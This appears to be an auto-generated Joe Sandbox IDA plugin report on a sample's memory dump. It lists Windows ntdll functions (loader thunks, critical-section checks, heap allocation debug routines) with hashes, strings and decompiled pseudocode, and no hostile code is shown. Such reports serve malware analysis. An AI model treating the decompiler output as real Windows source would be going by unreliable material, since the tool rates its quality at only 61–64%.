Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 787d098e5970d09d1308bd379a32b91e5ba4f215477b2c11135dc525729399d3
Instruction ID: 347d965fa105f693e34887b1806fbcbf7a73a8f62fe5a20e5feb9c0971ac3830
Opcode Fuzzy Hash: 787d098e5970d09d1308bd379a32b91e5ba4f215477b2c11135dc525729399d3
Instruction Fuzzy Hash: D490022121184042D60065684D14B07000657D134BF51C56AA1245519CC925C8656531

Uniqueness

Uniqueness Score: -1.00%

Function 34CC29F0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 34CC29FA

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5f499ebbd314c32685cc02cee53a6c829cd235219e8aaaa5c8fb5f6018ae901a
Instruction ID: 0cb4810978ae6e438068131325d9832549598a79d83902d6e6797a48ffd3021c
Opcode Fuzzy Hash: 5f499ebbd314c32685cc02cee53a6c829cd235219e8aaaa5c8fb5f6018ae901a
Instruction Fuzzy Hash: 55900225211040030505A5580B04507004757D6399351C476F2106515CD631C8656131

Uniqueness

Uniqueness Score: -1.00%

Function 34CC2A80 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 34CC2A8A

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ccabc14dea851f5a835587e88dd77249fa9534526ee442d81f2094ecbed8ff36
Instruction ID: fab8deecf6953908afbeef679e601eff2dd3046180d8ddc7c7ccbb8afc15c8f1
Opcode Fuzzy Hash: ccabc14dea851f5a835587e88dd77249fa9534526ee442d81f2094ecbed8ff36
Instruction Fuzzy Hash: 2A900471303040034505715C4D14717400F57F134DF51C477F3105555DC535CCD57135

Uniqueness

Uniqueness Score: -1.00%

Function 34CC2BC0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 34CC2BCA

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 997bf426b6447d33562aabb098040b03278b731caab63b50ee8641c90da9dc4d
Instruction ID: 1e113ce31541029d65886a28776ed3fa033895c17aa26060ffc7ae96e1ee8490
Opcode Fuzzy Hash: 997bf426b6447d33562aabb098040b03278b731caab63b50ee8641c90da9dc4d
Instruction Fuzzy Hash: 3F90023120104402D50065985908646000657E1349F51D466A611551AEC675C8957131

Uniqueness

Uniqueness Score: -1.00%

Function 34CC2B90 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 34CC2B9A

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2f2d9d17675824383cf9b58aa0333f70a1c4a025c12fbbbeac98053625d080f9
Instruction ID: 2d8c147d0266fc386ee65a3786a36761b3c3c3817bc5d3b3a8d36bdc268378a2
Opcode Fuzzy Hash: 2f2d9d17675824383cf9b58aa0333f70a1c4a025c12fbbbeac98053625d080f9
Instruction Fuzzy Hash: 9B9002312010C802D5106158890474A000657D1349F55C866A551561DDC6A5C8957131

Uniqueness

Uniqueness Score: -1.00%

Function 34CC2B10 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 34CC2B1A

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: cc93c5662e9616bafce58aa7f9ee35fd0d11a16bbf42e6bada5e184307f58260
Instruction ID: 8d18e7ae2f0c8f9ddee66f389e0e3652f7c600bd58ad4ca5ddfbeaa171629024
Opcode Fuzzy Hash: cc93c5662e9616bafce58aa7f9ee35fd0d11a16bbf42e6bada5e184307f58260
Instruction Fuzzy Hash: 1790023120104802D5807158490464A000657D2349F91C46AA1116619DCA25CA5D77B1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 34CB8540 Relevance: 17.7, Strings: 14, Instructions: 223COMMON

Download Yara Rule

Strings

Critical section address., xrefs: 34CF530D
undeleted critical section in freed memory, xrefs: 34CF5236
Thread is in a state in which it cannot own a critical section, xrefs: 34CF534E
Second initialization stack trace. Use dps to dump it if non-NULL., xrefs: 34CF52D9
Critical section debug info address, xrefs: 34CF522A, 34CF5339
8, xrefs: 34CF50EE
Address of the debug info found in the active list., xrefs: 34CF52B9, 34CF5305
corrupted critical section, xrefs: 34CF52CD
Initialization stack trace. Use dps to dump it if non-NULL., xrefs: 34CF5215, 34CF52A1, 34CF5324
Thread identifier, xrefs: 34CF5345
First initialization stack trace. Use dps to dump it if non-NULL., xrefs: 34CF52ED
double initialized or corrupted critical section, xrefs: 34CF5313
Invalid debug info address of this critical section, xrefs: 34CF52C1
Critical section address, xrefs: 34CF5230, 34CF52C7, 34CF533F

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: 8$Address of the debug info found in the active list.$Critical section address$Critical section address.$Critical section debug info address$First initialization stack trace. Use dps to dump it if non-NULL.$Initialization stack trace. Use dps to dump it if non-NULL.$Invalid debug info address of this critical section$Second initialization stack trace. Use dps to dump it if non-NULL.$Thread identifier$Thread is in a state in which it cannot own a critical section$corrupted critical section$double initialized or corrupted critical section$undeleted critical section in freed memory
API String ID: 0-2368682639
Opcode ID: 07023984a7f62720b89916fedb06f9f12e8d45d97868e191cc6965110a77fbef
Instruction ID: f0c43754fe0b15ceb278692d824bd8fbe729b1d61bb223f24777546f74c7025e
Opcode Fuzzy Hash: 07023984a7f62720b89916fedb06f9f12e8d45d97868e191cc6965110a77fbef
Instruction Fuzzy Hash: D4817DB5A01708EFEB50CF95CC80BAEBBBAFF08714F148159E905A7242C779A945CF60

Uniqueness

Uniqueness Score: -1.00%

Function 34D2FDF4 Relevance: 16.1, APIs: 1, Strings: 8, Instructions: 348
timeCOMMONCrypto

Download Yara Rule

C-Code - Quality: 64%

			E34D2FDF4(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t130;
				signed int _t132;
				intOrPtr _t138;
				intOrPtr _t139;
				signed int _t149;
				signed int _t150;
				intOrPtr _t151;
				signed int _t152;
				intOrPtr _t155;
				intOrPtr _t159;
				intOrPtr _t172;
				signed int _t173;
				signed int _t174;
				signed char _t177;
				signed int _t178;
				signed int _t183;
				void* _t184;
				signed char _t192;
				signed int _t193;
				intOrPtr _t195;
				intOrPtr _t199;
				signed int _t209;
				signed int _t226;
				signed char _t236;
				intOrPtr _t240;
				signed int* _t248;
				signed int _t253;
				signed int _t255;
				signed int _t267;
				signed int _t278;
				signed int* _t279;
				intOrPtr* _t283;
				void* _t284;
				void* _t286;

				_push("true");
				_push(0x34d5d430);
				L34CD7BE4(__ebx, __edi, __esi);
				_t281 = __ecx;
				 *((intOrPtr*)(_t284 - 0x3c)) = __ecx;
				 *((char*)(_t284 - 0x19)) = 0;
				 *(_t284 - 0x24) = 0;
				if(( *(__ecx + 0x44) & 0x01000000) == 0) {
					 *((intOrPtr*)(_t284 - 4)) = 0;
					 *((intOrPtr*)(_t284 - 4)) = 1;
					_t130 = E34C77662("RtlReAllocateHeap");
					__eflags = _t130;
					if(_t130 == 0) {
						L72:
						 *(_t284 - 0x24) = 0;
						L73:
						 *((intOrPtr*)(_t284 - 4)) = 0;
						 *((intOrPtr*)(_t284 - 4)) = 0xfffffffe;
						E34D302E6(_t281);
						_t132 =  *(_t284 - 0x24);
						goto L75;
					}
					_t236 =  *(__ecx + 0x44) | __edx;
					 *(_t284 - 0x30) = _t236;
					 *(_t284 - 0x34) = _t236 | 0x10000100;
					__eflags =  *(_t284 + 0xc);
					if( *(_t284 + 0xc) == 0) {
						_t267 = 1;
						__eflags = 1;
					} else {
						_t267 =  *(_t284 + 0xc);
					}
					_t138 = ( *((intOrPtr*)(_t281 + 0x94)) + _t267 &  *(_t281 + 0x98)) + 8;
					 *((intOrPtr*)(_t284 - 0x40)) = _t138;
					__eflags = _t138 -  *(_t284 + 0xc);
					if(_t138 <  *(_t284 + 0xc)) {
						L68:
						_t139 =  *[fs:0x30];
						__eflags =  *(_t139 + 0xc);
						if( *(_t139 + 0xc) == 0) {
							_push("HEAP: ");
							E34C7B910();
						} else {
							E34C7B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push( *((intOrPtr*)(_t281 + 0x78)));
						E34C7B910("Invalid allocation size - %Ix (exceeded %Ix)\n",  *(_t284 + 0xc));
						goto L72;
					}
					__eflags = _t138 -  *((intOrPtr*)(_t281 + 0x78));
					if(_t138 >  *((intOrPtr*)(_t281 + 0x78))) {
						goto L68;
					}
					 *(_t284 - 0x20) = 0;
					__eflags = _t236 & 0x00000001;
					if((_t236 & 0x00000001) == 0) {
						E34C8FED0( *((intOrPtr*)(_t281 + 0xc8)));
						 *((char*)(_t284 - 0x19)) = 1;
						_t226 =  *(_t284 - 0x30) | 0x10000101;
						__eflags = _t226;
						 *(_t284 - 0x34) = _t226;
					}
					E34D30835(_t281, 0);
					_t277 =  *((intOrPtr*)(_t284 + 8));
					_t269 = _t277 - 8;
					__eflags =  *((char*)(_t269 + 7)) - 5;
					if( *((char*)(_t269 + 7)) == 5) {
						_t269 = _t269 - (( *(_t269 + 6) & 0x000000ff) << 3);
						__eflags = _t269;
					}
					 *(_t284 - 0x2c) = _t269;
					 *(_t284 - 0x28) = _t269;
					_t240 = _t281;
					_t149 = E34C7753F(_t240, _t269, "RtlReAllocateHeap");
					__eflags = _t149;
					if(_t149 == 0) {
						L53:
						_t150 =  *(_t284 - 0x24);
						__eflags = _t150;
						if(_t150 == 0) {
							goto L73;
						}
						__eflags = _t150 -  *0x34d747c8; // 0x0
						_t151 =  *[fs:0x30];
						if(__eflags != 0) {
							_t152 =  *(_t151 + 0x68);
							 *(_t284 - 0x48) = _t152;
							__eflags = _t152 & 0x00000800;
							if((_t152 & 0x00000800) == 0) {
								goto L73;
							}
							__eflags =  *(_t284 - 0x20) -  *0x34d747cc; // 0x0
							if(__eflags != 0) {
								goto L73;
							}
							__eflags =  *((intOrPtr*)(_t281 + 0x7c)) -  *0x34d747ce; // 0x0
							if(__eflags != 0) {
								goto L73;
							}
							_t155 =  *[fs:0x30];
							__eflags =  *(_t155 + 0xc);
							if( *(_t155 + 0xc) == 0) {
								_push("HEAP: ");
								E34C7B910();
							} else {
								E34C7B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push(E34D2823A(_t281,  *(_t284 - 0x20)));
							_push( *(_t284 + 0xc));
							E34C7B910("Just reallocated block at %p to 0x%Ix bytes with tag %ws\n",  *(_t284 - 0x24));
							L59:
							_t159 =  *[fs:0x30];
							__eflags =  *((char*)(_t159 + 2));
							if( *((char*)(_t159 + 2)) != 0) {
								 *0x34d747a1 = 1;
								 *0x34d74100 = 0;
								asm("int3");
								 *0x34d747a1 = 0;
							}
							goto L73;
						}
						__eflags =  *(_t151 + 0xc);
						if( *(_t151 + 0xc) == 0) {
							_push("HEAP: ");
							E34C7B910();
						} else {
							E34C7B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push( *(_t284 + 0xc));
						E34C7B910("Just reallocated block at %p to %Ix bytes\n",  *0x34d747c8);
						goto L59;
					} else {
						__eflags = _t277 -  *0x34d747c8; // 0x0
						_t172 =  *[fs:0x30];
						if(__eflags != 0) {
							_t173 =  *(_t172 + 0x68);
							 *(_t284 - 0x44) = _t173;
							__eflags = _t173 & 0x00000800;
							if((_t173 & 0x00000800) == 0) {
								L38:
								_t174 = E34C92710(_t281,  *(_t284 - 0x34), _t277,  *(_t284 + 0xc));
								 *(_t284 - 0x24) = _t174;
								__eflags = _t174;
								if(_t174 != 0) {
									_t75 = _t174 - 8; // -8
									_t278 = _t75;
									__eflags =  *((char*)(_t278 + 7)) - 5;
									if( *((char*)(_t278 + 7)) == 5) {
										_t278 = _t278 - (( *(_t278 + 6) & 0x000000ff) << 3);
										__eflags = _t278;
									}
									_t248 = _t278;
									 *(_t284 - 0x28) = _t278;
									__eflags =  *(_t281 + 0x4c);
									if( *(_t281 + 0x4c) != 0) {
										 *_t278 =  *_t278 ^  *(_t281 + 0x50);
										__eflags =  *(_t278 + 3) - (_t248[0] ^ _t248[0] ^  *_t248);
										if(__eflags != 0) {
											_push(_t248);
											_t269 = _t278;
											E34D3D646(0, _t281, _t278, _t278, _t281, __eflags);
										}
									}
									__eflags =  *(_t278 + 2) & 0x00000002;
									if(( *(_t278 + 2) & 0x00000002) == 0) {
										_t177 =  *(_t278 + 3);
										 *(_t284 - 0x1b) = _t177;
										_t178 = _t177 & 0x000000ff;
									} else {
										_t183 = E34CB3AE9(_t278);
										 *(_t284 - 0x30) = _t183;
										__eflags =  *(_t281 + 0x40) & 0x08000000;
										if(( *(_t281 + 0x40) & 0x08000000) == 0) {
											 *_t183 = 0;
										} else {
											_t184 = E34CAFDB9(1, _t269);
											_t253 =  *(_t284 - 0x30);
											 *_t253 = _t184;
											_t183 = _t253;
										}
										_t178 =  *((intOrPtr*)(_t183 + 2));
									}
									 *(_t284 - 0x20) = _t178;
									__eflags =  *(_t281 + 0x4c);
									if( *(_t281 + 0x4c) != 0) {
										 *(_t278 + 3) =  *(_t278 + 2) ^  *(_t278 + 1) ^  *_t278;
										 *_t278 =  *_t278 ^  *(_t281 + 0x50);
										__eflags =  *_t278;
									}
								}
								E34D30D24(_t281);
								__eflags = 0;
								E34D30835(_t281, 0);
								goto L53;
							}
							__eflags =  *0x34d747cc;
							if( *0x34d747cc == 0) {
								goto L38;
							}
							_t279 =  *(_t284 - 0x28);
							_t269 =  *(_t284 - 0x2c);
							__eflags =  *(_t281 + 0x4c);
							if( *(_t281 + 0x4c) != 0) {
								 *_t279 =  *_t279 ^  *(_t281 + 0x50);
								__eflags = _t279[0] - ( *(_t269 + 2) ^  *(_t269 + 1) ^  *_t269);
								if(__eflags != 0) {
									_push(_t240);
									E34D3D646(0, _t281, _t279, _t279, _t281, __eflags);
									_t269 =  *(_t284 - 0x2c);
								}
							}
							__eflags = _t279[0] & 0x00000002;
							if((_t279[0] & 0x00000002) == 0) {
								_t192 = _t279[0];
								 *(_t284 - 0x1a) = _t192;
								_t193 = _t192 & 0x000000ff;
							} else {
								_t209 = E34CB3AE9(_t279);
								 *(_t284 - 0x30) = _t209;
								_t193 =  *(_t209 + 2) & 0x0000ffff;
							}
							_t255 = _t193;
							 *(_t284 - 0x20) = _t193;
							__eflags =  *(_t281 + 0x4c);
							if( *(_t281 + 0x4c) != 0) {
								_t279[0] =  *(_t269 + 2) ^  *(_t269 + 1) ^  *_t269;
								 *_t279 =  *_t279 ^  *(_t281 + 0x50);
								__eflags =  *_t279;
							}
							__eflags = _t255;
							if(_t255 == 0) {
								L37:
								_t277 =  *((intOrPtr*)(_t284 + 8));
							} else {
								__eflags = _t255 -  *0x34d747cc; // 0x0
								if(__eflags != 0) {
									goto L37;
								}
								__eflags =  *((intOrPtr*)(_t281 + 0x7c)) -  *0x34d747ce; // 0x0
								if(__eflags != 0) {
									goto L37;
								}
								_t195 =  *[fs:0x30];
								__eflags =  *(_t195 + 0xc);
								if( *(_t195 + 0xc) == 0) {
									_push("HEAP: ");
									E34C7B910();
								} else {
									E34C7B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_t269 =  *(_t284 - 0x20);
								_push(E34D2823A(_t281,  *(_t284 - 0x20)));
								_push( *(_t284 + 0xc));
								_t277 =  *((intOrPtr*)(_t284 + 8));
								E34C7B910("About to rellocate block at %p to 0x%Ix bytes with tag %ws\n",  *((intOrPtr*)(_t284 + 8)));
								_t286 = _t286 + 0x10;
								L18:
								_t199 =  *[fs:0x30];
								__eflags =  *((char*)(_t199 + 2));
								if( *((char*)(_t199 + 2)) != 0) {
									 *0x34d747a1 = 1;
									 *0x34d74100 = 0;
									asm("int3");
									 *0x34d747a1 = 0;
								}
							}
							goto L38;
						}
						__eflags =  *(_t172 + 0xc);
						if( *(_t172 + 0xc) == 0) {
							_push("HEAP: ");
							E34C7B910();
						} else {
							E34C7B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push( *(_t284 + 0xc));
						E34C7B910("About to reallocate block at %p to %Ix bytes\n",  *0x34d747c8);
						_t286 = _t286 + 0xc;
						goto L18;
					}
				} else {
					_t283 =  *0x34d7374c; // 0x0
					 *0x34d791e0(__ecx, __edx,  *((intOrPtr*)(_t284 + 8)),  *(_t284 + 0xc));
					_t132 =  *_t283();
					L75:
					 *[fs:0x0] =  *((intOrPtr*)(_t284 - 0x10));
					return _t132;
				}
			}

0x34d2fdf4
0x34d2fdf6
0x34d2fdfb
0x34d2fe02
0x34d2fe04
0x34d2fe09
0x34d2fe0c
0x34d2fe16
0x34d2fe35
0x34d2fe38
0x34d2fe46
0x34d2fe4b
0x34d2fe4d
0x34d30277
0x34d30277
0x34d3027a
0x34d3027a
0x34d302c2
0x34d302c9
0x34d302ce
0x00000000
0x34d302ce
0x34d2fe56
0x34d2fe58
0x34d2fe62
0x34d2fe65
0x34d2fe69
0x34d2fe72
0x34d2fe72
0x34d2fe6b
0x34d2fe6b
0x34d2fe6b
0x34d2fe81
0x34d2fe84
0x34d2fe87
0x34d2fe8a
0x34d30231
0x34d30231
0x34d30237
0x34d3023a
0x34d30259
0x34d3025e
0x34d3023c
0x34d30251
0x34d30256
0x34d30264
0x34d3026f
0x00000000
0x34d30274
0x34d2fe90
0x34d2fe93
0x00000000
0x00000000
0x34d2fe9b
0x34d2fe9f
0x34d2fea2
0x34d2feaa
0x34d2feaf
0x34d2feb6
0x34d2feb6
0x34d2febb
0x34d2febb
0x34d2fec2
0x34d2fec7
0x34d2feca
0x34d2fecd
0x34d2fed1
0x34d2feda
0x34d2feda
0x34d2feda
0x34d2fedc
0x34d2fedf
0x34d2fee7
0x34d2fee9
0x34d2feee
0x34d2fef0
0x34d30122
0x34d30122
0x34d30125
0x34d30127
0x00000000
0x00000000
0x34d3012d
0x34d30133
0x34d30139
0x34d301a7
0x34d301aa
0x34d301ad
0x34d301b2
0x00000000
0x00000000
0x34d301bc
0x34d301c3
0x00000000
0x00000000
0x34d301cd
0x34d301d4
0x00000000
0x00000000
0x34d301da
0x34d301e0
0x34d301e3
0x34d30202
0x34d30207
0x34d301e5
0x34d301fa
0x34d301ff
0x34d30218
0x34d30219
0x34d30224
0x34d3017e
0x34d3017e
0x34d30184
0x34d30188
0x34d3018e
0x34d30195
0x34d3019b
0x34d3019c
0x34d3019c
0x00000000
0x34d30188
0x34d3013b
0x34d3013e
0x34d3015d
0x34d30162
0x34d30140
0x34d30155
0x34d3015a
0x34d30168
0x34d30176
0x00000000
0x34d2fef6
0x34d2fef6
0x34d2fefc
0x34d2ff02
0x34d2ff70
0x34d2ff73
0x34d2ff76
0x34d2ff7b
0x34d30068
0x34d30070
0x34d30075
0x34d30078
0x34d3007a
0x34d30080
0x34d30080
0x34d30083
0x34d30087
0x34d30090
0x34d30090
0x34d30090
0x34d30092
0x34d30094
0x34d30097
0x34d3009a
0x34d3009f
0x34d300a9
0x34d300ac
0x34d300ae
0x34d300af
0x34d300b3
0x34d300b3
0x34d300ac
0x34d300b8
0x34d300bc
0x34d300ec
0x34d300ef
0x34d300f2
0x34d300be
0x34d300c0
0x34d300c5
0x34d300ca
0x34d300d1
0x34d300e3
0x34d300d3
0x34d300d4
0x34d300d9
0x34d300dc
0x34d300df
0x34d300df
0x34d300e6
0x34d300e6
0x34d300f5
0x34d300f9
0x34d300fc
0x34d30108
0x34d3010e
0x34d3010e
0x34d3010e
0x34d300fc
0x34d30114
0x34d30119
0x34d3011d
0x00000000
0x34d3011d
0x34d2ff81
0x34d2ff88
0x00000000
0x00000000
0x34d2ff8e
0x34d2ff91
0x34d2ff94
0x34d2ff97
0x34d2ff9c
0x34d2ffa6
0x34d2ffa9
0x34d2ffab
0x34d2ffb0
0x34d2ffb5
0x34d2ffb5
0x34d2ffa9
0x34d2ffb8
0x34d2ffbc
0x34d2ffce
0x34d2ffd1
0x34d2ffd4
0x34d2ffbe
0x34d2ffc0
0x34d2ffc5
0x34d2ffc8
0x34d2ffc8
0x34d2ffd7
0x34d2ffd9
0x34d2ffdd
0x34d2ffe0
0x34d2ffea
0x34d2fff0
0x34d2fff0
0x34d2fff0
0x34d2fff2
0x34d2fff5
0x34d30065
0x34d30065
0x34d2fff7
0x34d2fff7
0x34d2fffe
0x00000000
0x00000000
0x34d30004
0x34d3000b
0x00000000
0x00000000
0x34d3000d
0x34d30013
0x34d30016
0x34d30035
0x34d3003a
0x34d30018
0x34d3002d
0x34d30032
0x34d30040
0x34d3004b
0x34d3004c
0x34d3004f
0x34d30058
0x34d3005d
0x34d2ff47
0x34d2ff47
0x34d2ff4d
0x34d2ff51
0x34d2ff57
0x34d2ff5e
0x34d2ff64
0x34d2ff65
0x34d2ff65
0x34d2ff51
0x00000000
0x34d2fff5
0x34d2ff04
0x34d2ff07
0x34d2ff26
0x34d2ff2b
0x34d2ff09
0x34d2ff1e
0x34d2ff23
0x34d2ff31
0x34d2ff3f
0x34d2ff44
0x00000000
0x34d2ff44
0x34d2fe18
0x34d2fe20
0x34d2fe28
0x34d2fe2e
0x34d302d1
0x34d302d4
0x34d302e0
0x34d302e0

APIs

RtlDebugPrintTimes.NTDLL ref: 34D2FE28

Strings

Just reallocated block at %p to 0x%Ix bytes with tag %ws, xrefs: 34D3021F
HEAP[%wZ]: , xrefs: 34D2FF19, 34D30028, 34D30150, 34D301F5, 34D3024C
About to rellocate block at %p to 0x%Ix bytes with tag %ws, xrefs: 34D30053
Invalid allocation size - %Ix (exceeded %Ix), xrefs: 34D3026A
HEAP: , xrefs: 34D2FF26, 34D30035, 34D3015D, 34D30202, 34D30259
RtlReAllocateHeap, xrefs: 34D2FE3F, 34D2FEE2
About to reallocate block at %p to %Ix bytes, xrefs: 34D2FF3A
Just reallocated block at %p to %Ix bytes, xrefs: 34D30171

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: DebugPrintTimes
String ID: About to reallocate block at %p to %Ix bytes$About to rellocate block at %p to 0x%Ix bytes with tag %ws$HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just reallocated block at %p to %Ix bytes$Just reallocated block at %p to 0x%Ix bytes with tag %ws$RtlReAllocateHeap
API String ID: 3446177414-1700792311
Opcode ID: 30d6771bc9e854c6ea6febedc33b14a7ac5b2b2d96c56253f8ade6f4c01bbb6f
Instruction ID: 8269b39c203d6ce3295b84bff2c6680c5b53dcfc89a2dbec2b39986a3c1af97e
Opcode Fuzzy Hash: 30d6771bc9e854c6ea6febedc33b14a7ac5b2b2d96c56253f8ade6f4c01bbb6f
Instruction Fuzzy Hash: 8AD10039601689DFDB02DFA8D440AAEBBF2FF09748F04849DE4C4AB266D7359941CF54

Uniqueness

Uniqueness Score: -1.00%

Function 34D2F0A5 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 231
timeCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E34D2F0A5(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t87;
				signed int _t89;
				signed int _t92;
				intOrPtr _t93;
				intOrPtr _t94;
				signed char _t105;
				signed int _t106;
				intOrPtr _t108;
				signed int _t109;
				signed int _t110;
				intOrPtr _t112;
				intOrPtr _t116;
				short* _t134;
				short _t135;
				signed char _t153;
				signed int* _t158;
				short* _t169;
				signed int _t174;
				signed int _t184;
				signed int _t185;
				intOrPtr* _t190;
				void* _t191;

				_push("true");
				_push(0x34d5d320);
				L34CD7BE4(__ebx, __edi, __esi);
				_t188 = __ecx;
				 *((intOrPtr*)(_t191 - 0x3c)) = __ecx;
				 *((char*)(_t191 - 0x19)) = 0;
				 *(_t191 - 0x24) = 0;
				if(( *(__ecx + 0x44) & 0x01000000) == 0) {
					 *(_t191 - 4) = 0;
					 *(_t191 - 4) = 1;
					_t87 = E34C77662("RtlAllocateHeap");
					__eflags = _t87;
					if(_t87 == 0) {
						L46:
						 *(_t191 - 0x24) = 0;
						L47:
						 *(_t191 - 4) = 0;
						 *(_t191 - 4) = 0xfffffffe;
						E34D2F3F9();
						_t89 =  *(_t191 - 0x24);
						goto L48;
					}
					_t153 =  *(__ecx + 0x44) | __edx;
					 *(_t191 - 0x2c) = _t153;
					_t183 = _t153 | 0x10000100;
					 *(_t191 - 0x34) = _t153 | 0x10000100;
					_t174 =  *(_t191 + 8);
					__eflags = _t174;
					 *(_t191 - 0x20) = _t174;
					if(_t174 == 0) {
						 *(_t191 - 0x20) = 1;
					}
					_t92 =  *((intOrPtr*)(_t188 + 0x94)) +  *(_t191 - 0x20) &  *(_t188 + 0x98);
					__eflags = _t92 - 0x10;
					if(_t92 < 0x10) {
						_push("true");
						_pop(_t92);
					}
					_t93 = _t92 + 8;
					 *((intOrPtr*)(_t191 - 0x40)) = _t93;
					__eflags = _t93 - _t174;
					if(_t93 < _t174) {
						L42:
						_t94 =  *[fs:0x30];
						__eflags =  *(_t94 + 0xc);
						if( *(_t94 + 0xc) == 0) {
							_push("HEAP: ");
							E34C7B910();
						} else {
							E34C7B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push( *((intOrPtr*)(_t188 + 0x78)));
						E34C7B910("Invalid allocation size - %Ix (exceeded %Ix)\n",  *(_t191 + 8));
						goto L46;
					} else {
						__eflags = _t93 -  *((intOrPtr*)(_t188 + 0x78));
						if(_t93 >  *((intOrPtr*)(_t188 + 0x78))) {
							goto L42;
						}
						__eflags = _t153 & 0x00000001;
						if((_t153 & 0x00000001) == 0) {
							E34C8FED0( *((intOrPtr*)(_t188 + 0xc8)));
							 *((char*)(_t191 - 0x19)) = 1;
							_t183 =  *(_t191 - 0x2c) | 0x10000101;
							__eflags = _t183;
